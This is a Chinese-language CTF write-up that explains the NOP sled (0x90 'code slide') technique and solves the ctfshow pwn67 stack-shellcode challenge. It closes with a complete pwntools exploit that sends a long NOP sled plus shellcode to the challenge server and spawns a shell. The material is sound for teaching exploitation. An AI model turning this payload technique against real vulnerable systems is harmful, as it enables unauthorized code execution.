NOP Sled空中操作雪橇(代码滑梯)

NOP Sled空中操作雪橇(代码滑梯)

NOP Sled

NOP Sled,中文常被形象地称为“空操作雪橇”、“代码滑梯”或“NOP滑板”,是指在一段shellcode之前插入大量连续的NOP指令

**NOP指令:**即“No Operation”指令,对于x86架构的CPU,其机器码是 0x90。执行该指令时,CPU不会进行任何有效操作,仅仅将程序计数器(EIP/RIP)加一,然后继续执行下一条指令。

攻击者的目标是让程序执行流跳转到我们布置的shellcode上。但由于栈地址随机化(ASLR)等因素,我们往往无法精确预测shellcode的起始地址。NOP Sled就像在shellcode前铺上了一片长长的、平滑的雪橇道。只要程序执行流跳转到这个雪橇道的任何位置,CPU都会顺着这些NOP指令一路“滑行”下去,直到最终“滑进”并执行我们的shellcode。

例题–ctfshow pwn67

检查保护32位

加了canary保护栈溢出受阻,没开NX可以在栈上执行shellcode

image-20251013162330924

进主函数

image-20251030141451698

分析之后,他会先泄露一个地址

这个地址是&v1+v2,这个v2是一个[-668,668]的一个随机数

image-20251030141537233

下面让输入最多输入4096字节,后面可以输入一个地址,最后执行地址的内容

image-20251030141827676

思路就是将shellcode写入这个地址中,后面调用就行,但是这个地址是个不确定的地址

就可以用到代码滑梯技术

在payload中插入大量nop,程序执行nop会向下执行,直到滑入shellcode

shellcode写入地址的计算

1
2
3
4
5
6
7
# v2 = addr-&v1 = rand() % 1337 - 668

# shell_addr = &v1 + 0x15 + 0x4*3

# v1 = addr - (rand() % 1337 - 668)

# shell_addr = addr - rand() % 1337 + 668 + 0x21

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')
p = remote("pwn.challenge.ctf.show", 28240)

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

shell = asm(shellcraft.sh())
nop_len = 1337
ru(b"location:")
addr = eval(rud(b"\n"))
lg("addr",addr)

# v2 = addr-&v1 = rand() % 1337 - 668

# shell_addr = &v1 + 0x15 + 0x4*3

# v1 = addr - (rand() % 1337 - 668)

# shell_addr = addr - rand() % 1337 + 668 + 0x21

shell = asm(shellcraft.sh())
pay = b'\x90'*nop_len+shell
shell_addr = addr+668+0x21
ru(b"What will you do?\n> ")
sl(pay)
ru("Where do you start?\n> ")
sl(hex(shell_addr))

inter()